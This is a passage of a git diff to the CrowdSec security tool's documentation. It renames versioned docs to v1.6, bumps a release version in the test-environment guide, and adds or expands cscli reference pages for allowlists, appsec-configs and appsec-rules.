+catch Exception as e:
+ log("Failed to send metrics", e)
+```
+
+### Existing Implementations
+
+Remediation metrics have already been implemented in various languages and frameworks. You can use it as inspiration for your own implementation:
+
+- The [LUA library](https://github.com/crowdsecurity/lua-cs-bouncer/) used by the [NGINX remediation component](https://docs.crowdsec.net/u/bouncers/nginx/)
+- The [PHP library](https://github.com/crowdsecurity/php-remediation-engine) used by the [WordPress remediation component](https://docs.crowdsec.net/u/bouncers/wordpress).
+- The [Firewall Bouncer](https://github.com/crowdsecurity/cs-firewall-bouncer) written in Go. Used for nftables/iptables.
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/test_environment.md b/crowdsec-docs/versioned_docs/version-v1.6/contributing/test_environment.md
similarity index 84%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/contributing/test_environment.md
rename to crowdsec-docs/versioned_docs/version-v1.6/contributing/test_environment.md
index 3f6c661e6..a2c7f52a6 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/contributing/test_environment.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/contributing/test_environment.md
@@ -4,6 +4,12 @@ title: Creating a test environment
sidebar_position: 10
---
+:::warning
+The following documentation is written for use on Linux systems. If you are using a different operating system, please adjust the commands accordingly if we have prebuilt binaries for your system.
+
+**However, please note we do not compile for MacOS so you will need to compile from source.**
+:::
+
You need a test environment for several reasons:
- Creation of new parsers or scenarios
@@ -13,7 +19,7 @@ You need a test environment for several reasons:
This can be done directly with the tarball of the release :
```bash
-VER=1.4.6 # Please check https://github.com/crowdsecurity/crowdsec/releases/latest for latest version
+VER=1.6.3 # Please check https://github.com/crowdsecurity/crowdsec/releases/latest for latest version
wget https://github.com/crowdsecurity/crowdsec/releases/download/v$VER/crowdsec-release.tgz
tar xvzf crowdsec-release.tgz
cd crowdsec-v$VER
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli.md
similarity index 97%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli.md
index c8258a186..8ac31938f 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli.md
@@ -28,6 +28,7 @@ It is meant to allow you to manage bans, parsers/scenarios/etc, api and generall
### SEE ALSO
* [cscli alerts](/cscli/cscli_alerts.md) - Manage alerts
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs
* [cscli appsec-rules](/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules
* [cscli bouncers](/cscli/cscli_bouncers.md) - Manage bouncers [requires local API]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts.md
similarity index 93%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts.md
index 2216873aa..d5fcd81a0 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts.md
@@ -29,7 +29,7 @@ Manage alerts
* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
* [cscli alerts delete](/cscli/cscli_alerts_delete.md) - Delete alerts
-/!\ This command can be use only on the same machine than the local API.
+/!\ This command can be used only on the same machine than the local API.
* [cscli alerts flush](/cscli/cscli_alerts_flush.md) - Flush alerts
/!\ This command can be used only on the same machine than the local API
* [cscli alerts inspect](/cscli/cscli_alerts_inspect.md) - Show info about an alert
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_delete.md
similarity index 95%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_delete.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_delete.md
index feada36ad..3516c1dbe 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_delete.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_delete.md
@@ -5,7 +5,7 @@ title: cscli alerts delete
## cscli alerts delete
Delete alerts
-/!\ This command can be use only on the same machine than the local API.
+/!\ This command can be used only on the same machine than the local API.
```
cscli alerts delete [filters] [--all] [flags]
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_flush.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_flush.md
similarity index 78%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_flush.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_flush.md
index 5d8df8e4e..2dfb06707 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_flush.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_flush.md
@@ -20,9 +20,9 @@ cscli alerts flush --max-items 1000 --max-age 7d
### Options
```
- --max-items int Maximum number of alert items to keep in the database (default 5000)
- --max-age string Maximum age of alert items to keep in the database (default "7d")
- -h, --help help for flush
+ --max-items int Maximum number of alert items to keep in the database (default 5000)
+ --max-age duration Maximum age of alert items to keep in the database (default 168h0m0s)
+ -h, --help help for flush
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_inspect.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_inspect.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_list.md
similarity index 87%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_list.md
index de900f8d7..bc3b4656f 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_alerts_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_alerts_list.md
@@ -6,6 +6,10 @@ title: cscli alerts list
List alerts
+### Synopsis
+
+List alerts with optional filters
+
```
cscli alerts list [filters] [flags]
```
@@ -16,6 +20,7 @@ cscli alerts list [filters] [flags]
cscli alerts list
cscli alerts list --ip 1.2.3.4
cscli alerts list --range 1.2.3.0/24
+cscli alerts list --origin lists
cscli alerts list -s crowdsecurity/ssh-bf
cscli alerts list --type ban
```
@@ -24,8 +29,8 @@ cscli alerts list --type ban
```
-a, --all Include decisions from Central API
- --until string restrict to alerts older than until (ie. 4h, 30d)
- --since string restrict to alerts newer than since (ie. 4h, 30d)
+ --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s)
+ --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s)
-i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value )
-s, --scenario string the scenario (ie. crowdsecurity/ssh-bf)
-r, --range string restrict to alerts from this range (shorthand for --scope range --value )
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists.md
new file mode 100644
index 000000000..a0bf6ff01
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists.md
@@ -0,0 +1,38 @@
+---
+id: cscli_allowlists
+title: cscli allowlists
+---
+## cscli allowlists
+
+Manage centralized allowlists
+
+### Options
+
+```
+ -h, --help help for allowlists
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli](/cscli/cscli.md) - cscli allows you to manage crowdsec
+* [cscli allowlists add](/cscli/cscli_allowlists_add.md) - Add content to an allowlist
+* [cscli allowlists check](/cscli/cscli_allowlists_check.md) - Check if a value is in an allowlist
+* [cscli allowlists create](/cscli/cscli_allowlists_create.md) - Create a new allowlist
+* [cscli allowlists delete](/cscli/cscli_allowlists_delete.md) - Delete an allowlist
+* [cscli allowlists inspect](/cscli/cscli_allowlists_inspect.md) - Inspect an allowlist
+* [cscli allowlists list](/cscli/cscli_allowlists_list.md) - List all allowlists
+* [cscli allowlists remove](/cscli/cscli_allowlists_remove.md) - Remove content from an allowlist
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_add.md
similarity index 53%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_remove.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_add.md
index c2bbdcb03..a2f68406e 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_parsers_remove.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_add.md
@@ -1,32 +1,27 @@
---
-id: cscli_parsers_remove
-title: cscli parsers remove
+id: cscli_allowlists_add
+title: cscli allowlists add
---
-## cscli parsers remove
+## cscli allowlists add
-Remove given parser(s)
-
-### Synopsis
-
-Remove one or more parsers
+Add content to an allowlist
```
-cscli parsers remove [item]... [flags]
+cscli allowlists add [allowlist_name] [value...] [-e expiration] [-d comment] [flags]
```
### Examples
```
-cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs
+cscli allowlists add my_allowlist 1.2.3.4 2.3.4.5 -e 1h -d "my comment"
```
### Options
```
- --all Remove all the parsers
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
+ -d, --comment string comment for the value
+ -e, --expiration duration expiration duration (default 0s)
+ -h, --help help for add
```
### Options inherited from parent commands
@@ -44,5 +39,5 @@ cscli parsers remove crowdsecurity/caddy-logs crowdsecurity/sshd-logs
### SEE ALSO
-* [cscli parsers](/cscli/cscli_parsers.md) - Manage hub parsers
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_check.md
similarity index 54%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_upgrade.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_check.md
index 0124e6e56..c6fddc9d4 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_contexts_upgrade.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_check.md
@@ -1,31 +1,25 @@
---
-id: cscli_contexts_upgrade
-title: cscli contexts upgrade
+id: cscli_allowlists_check
+title: cscli allowlists check
---
-## cscli contexts upgrade
+## cscli allowlists check
-Upgrade given context(s)
-
-### Synopsis
-
-Fetch and upgrade one or more contexts from the hub
+Check if a value is in an allowlist
```
-cscli contexts upgrade [item]... [flags]
+cscli allowlists check [value...] [flags]
```
### Examples
```
-cscli contexts upgrade crowdsecurity/yyy crowdsecurity/zzz
+cscli allowlists check 1.2.3.4
```
### Options
```
- -a, --all Upgrade all the contexts
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
+ -h, --help help for check
```
### Options inherited from parent commands
@@ -43,5 +37,5 @@ cscli contexts upgrade crowdsecurity/yyy crowdsecurity/zzz
### SEE ALSO
-* [cscli contexts](/cscli/cscli_contexts.md) - Manage hub contexts
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_create.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_create.md
new file mode 100644
index 000000000..85d12f59d
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_create.md
@@ -0,0 +1,42 @@
+---
+id: cscli_allowlists_create
+title: cscli allowlists create
+---
+## cscli allowlists create
+
+Create a new allowlist
+
+```
+cscli allowlists create [allowlist_name] [flags]
+```
+
+### Examples
+
+```
+cscli allowlists create my_allowlist -d 'my allowlist description'
+```
+
+### Options
+
+```
+ -d, --description string description of the allowlist
+ -h, --help help for create
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_delete.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_delete.md
new file mode 100644
index 000000000..8b6aef9bb
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_delete.md
@@ -0,0 +1,41 @@
+---
+id: cscli_allowlists_delete
+title: cscli allowlists delete
+---
+## cscli allowlists delete
+
+Delete an allowlist
+
+```
+cscli allowlists delete [allowlist_name] [flags]
+```
+
+### Examples
+
+```
+cscli allowlists delete my_allowlist
+```
+
+### Options
+
+```
+ -h, --help help for delete
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_inspect.md
new file mode 100644
index 000000000..818c1c5f7
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_inspect.md
@@ -0,0 +1,41 @@
+---
+id: cscli_allowlists_inspect
+title: cscli allowlists inspect
+---
+## cscli allowlists inspect
+
+Inspect an allowlist
+
+```
+cscli allowlists inspect [allowlist_name] [flags]
+```
+
+### Examples
+
+```
+cscli allowlists inspect my_allowlist
+```
+
+### Options
+
+```
+ -h, --help help for inspect
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_list.md
new file mode 100644
index 000000000..a84e07691
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_list.md
@@ -0,0 +1,41 @@
+---
+id: cscli_allowlists_list
+title: cscli allowlists list
+---
+## cscli allowlists list
+
+List all allowlists
+
+```
+cscli allowlists list [flags]
+```
+
+### Examples
+
+```
+cscli allowlists list
+```
+
+### Options
+
+```
+ -h, --help help for list
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_remove.md
new file mode 100644
index 000000000..3fee44457
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_allowlists_remove.md
@@ -0,0 +1,41 @@
+---
+id: cscli_allowlists_remove
+title: cscli allowlists remove
+---
+## cscli allowlists remove
+
+Remove content from an allowlist
+
+```
+cscli allowlists remove [allowlist_name] [value] [flags]
+```
+
+### Examples
+
+```
+cscli allowlists remove my_allowlist 1.2.3.4 2.3.4.5
+```
+
+### Options
+
+```
+ -h, --help help for remove
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli allowlists](/cscli/cscli_allowlists.md) - Manage centralized allowlists
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs.md
similarity index 84%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs.md
index 7f08a35f3..9c32273ce 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs.md
@@ -10,10 +10,10 @@ Manage hub appsec-configs
```
cscli appsec-configs list -a
-cscli appsec-configs install crowdsecurity/vpatch
-cscli appsec-configs inspect crowdsecurity/vpatch
-cscli appsec-configs upgrade crowdsecurity/vpatch
-cscli appsec-configs remove crowdsecurity/vpatch
+cscli appsec-configs install crowdsecurity/virtual-patching
+cscli appsec-configs inspect crowdsecurity/virtual-patching
+cscli appsec-configs upgrade crowdsecurity/virtual-patching
+cscli appsec-configs remove crowdsecurity/virtual-patching
```
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_inspect.md
similarity index 65%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_inspect.md
index fdc827e9c..e447d766d 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_inspect.md
@@ -17,7 +17,18 @@ cscli appsec-configs inspect [item]... [flags]
### Examples
```
-cscli appsec-configs inspect crowdsecurity/vpatch
+# Display metadata, state, ancestor collections of appsec-configs (installed or not).
+cscli appsec-configs inspect crowdsecurity/virtual-patching
+
+# If the config is installed, its metrics are collected and shown as well (with an error if crowdsec is not running).
+# To avoid this, use --no-metrics.
+cscli appsec-configs inspect crowdsecurity/virtual-patching --no-metrics
+
+# Display difference between a tainted item and the latest one.
+cscli appsec-configs inspect crowdsecurity/virtual-patching --diff
+
+# Reverse the above diff
+cscli appsec-configs inspect crowdsecurity/virtual-patching --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_install.md
similarity index 51%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_install.md
index 42e78d0e6..e0182fb10 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_install.md
@@ -17,16 +17,35 @@ cscli appsec-configs install [item]... [flags]
### Examples
```
-cscli appsec-configs install crowdsecurity/vpatch
+# Install some appsec-configs.
+cscli appsec-configs install crowdsecurity/virtual-patching
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-configs install crowdsecurity/virtual-patching --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-configs install crowdsecurity/virtual-patching --dry-run -o raw
+
+# Download only, to be installed later.
+cscli appsec-configs install crowdsecurity/virtual-patching --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli appsec-configs install crowdsecurity/virtual-patching --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-configs install crowdsecurity/virtual-patching -i
+cscli appsec-configs install crowdsecurity/virtual-patching --interactive
```
### Options
```
-d, --download-only Only download packages, don't enable
+ --dry-run Don't install or remove anything; print the execution plan
--force Force install: overwrite tainted and outdated files
-h, --help help for install
--ignore Ignore errors when installing multiple appsec-configs
+ -i, --interactive Ask for confirmation before proceeding
```
### Options inherited from parent commands
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_list.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_list.md
similarity index 81%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_list.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_list.md
index c466ba09a..88a37d221 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_list.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_list.md
@@ -17,9 +17,14 @@ cscli appsec-configs list [item... | -a] [flags]
### Examples
```
+# List enabled (installed) appsec-configs.
cscli appsec-configs list
+
+# List all available appsec-configs (installed or not).
cscli appsec-configs list -a
-cscli appsec-configs list crowdsecurity/vpatch
+
+# List specific appsec-configs (installed or not).
+cscli appsec-configs list crowdsecurity/virtual-patching crowdsecurity/generic-rules
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_remove.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_remove.md
new file mode 100644
index 000000000..e9b8575fb
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_remove.md
@@ -0,0 +1,67 @@
+---
+id: cscli_appsec-configs_remove
+title: cscli appsec-configs remove
+---
+## cscli appsec-configs remove
+
+Remove given appsec-config(s)
+
+### Synopsis
+
+Remove one or more appsec-configs
+
+```
+cscli appsec-configs remove [item]... [flags]
+```
+
+### Examples
+
+```
+# Uninstall some appsec-configs.
+cscli appsec-configs remove crowdsecurity/virtual-patching
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-configs remove crowdsecurity/virtual-patching --dry-run -o raw
+
+# Uninstall and also remove the downloaded files.
+cscli appsec-configs remove crowdsecurity/virtual-patching --purge
+
+# Remove tainted items.
+cscli appsec-configs remove crowdsecurity/virtual-patching --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-configs remove crowdsecurity/virtual-patching -i
+cscli appsec-configs remove crowdsecurity/virtual-patching --interactive
+```
+
+### Options
+
+```
+ --all Remove all the appsec-configs
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force remove: remove tainted and outdated files
+ -h, --help help for remove
+ -i, --interactive Ask for confirmation before proceeding
+ --purge Delete source file too
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_upgrade.md
new file mode 100644
index 000000000..1667bacfd
--- /dev/null
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-configs_upgrade.md
@@ -0,0 +1,63 @@
+---
+id: cscli_appsec-configs_upgrade
+title: cscli appsec-configs upgrade
+---
+## cscli appsec-configs upgrade
+
+Upgrade given appsec-config(s)
+
+### Synopsis
+
+Fetch and upgrade one or more appsec-configs from the hub
+
+```
+cscli appsec-configs upgrade [item]... [flags]
+```
+
+### Examples
+
+```
+# Upgrade some appsec-configs. If they are not currently installed, they are downloaded but not installed.
+cscli appsec-configs upgrade crowdsecurity/virtual-patching
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-configs upgrade crowdsecurity/virtual-patching --dry-run -o raw
+
+# Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli appsec-configs upgrade crowdsecurity/virtual-patching --force
+
+# Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored.
+cscli appsec-configs upgrade crowdsecurity/virtual-patching -i
+cscli appsec-configs upgrade crowdsecurity/virtual-patching --interactive
+```
+
+### Options
+
+```
+ -a, --all Upgrade all the appsec-configs
+ --dry-run Don't install or remove anything; print the execution plan
+ --force Force upgrade: overwrite tainted and outdated files
+ -h, --help help for upgrade
+ -i, --interactive Ask for confirmation before proceeding
+```
+
+### Options inherited from parent commands
+
+```
+ --color string Output color: yes, no, auto (default "auto")
+ -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
+ --debug Set logging to debug
+ --error Set logging to error
+ --info Set logging to info
+ -o, --output string Output format: human, json, raw
+ --trace Set logging to trace
+ --warning Set logging to warning
+```
+
+### SEE ALSO
+
+* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs
+
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules.md
similarity index 100%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules.md
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_inspect.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_inspect.md
similarity index 70%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_inspect.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_inspect.md
index d93378682..c851d478c 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_inspect.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_inspect.md
@@ -17,7 +17,18 @@ cscli appsec-rules inspect [item]... [flags]
### Examples
```
+# Display metadata, state, ancestor collections of appsec-rules (installed or not).
cscli appsec-rules inspect crowdsecurity/crs
+
+# If the rule is installed, its metrics are collected and shown as well (with an error if crowdsec is not running).
+# To avoid this, use --no-metrics.
+cscli appsec-configs inspect crowdsecurity/crs --no-metrics
+
+# Display difference between a tainted item and the latest one.
+cscli appsec-rules inspect crowdsecurity/crs --diff
+
+# Reverse the above diff
+cscli appsec-rules inspect crowdsecurity/crs --diff --rev
```
### Options
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_install.md b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_install.md
similarity index 55%
rename from crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_install.md
rename to crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_install.md
index eb10e0fd7..de5ea9595 100644
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_install.md
+++ b/crowdsec-docs/versioned_docs/version-v1.6/cscli/cscli_appsec-rules_install.md
@@ -17,16 +17,35 @@ cscli appsec-rules install [item]... [flags]
### Examples
```
+# Install some appsec-rules.
cscli appsec-rules install crowdsecurity/crs
+
+# Show the execution plan without changing anything - compact output sorted by type and name.
+cscli appsec-rules install crowdsecurity/crs --dry-run
+
+# Show the execution plan without changing anything - verbose output sorted by execution order.
+cscli appsec-rules install crowdsecurity/crs --dry-run -o raw
+
+# Download only, to be installed later.
+cscli appsec-rules install crowdsecurity/crs --download-only
+
+# Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies.
+cscli appsec-rules install crowdsecurity/crs --force
+
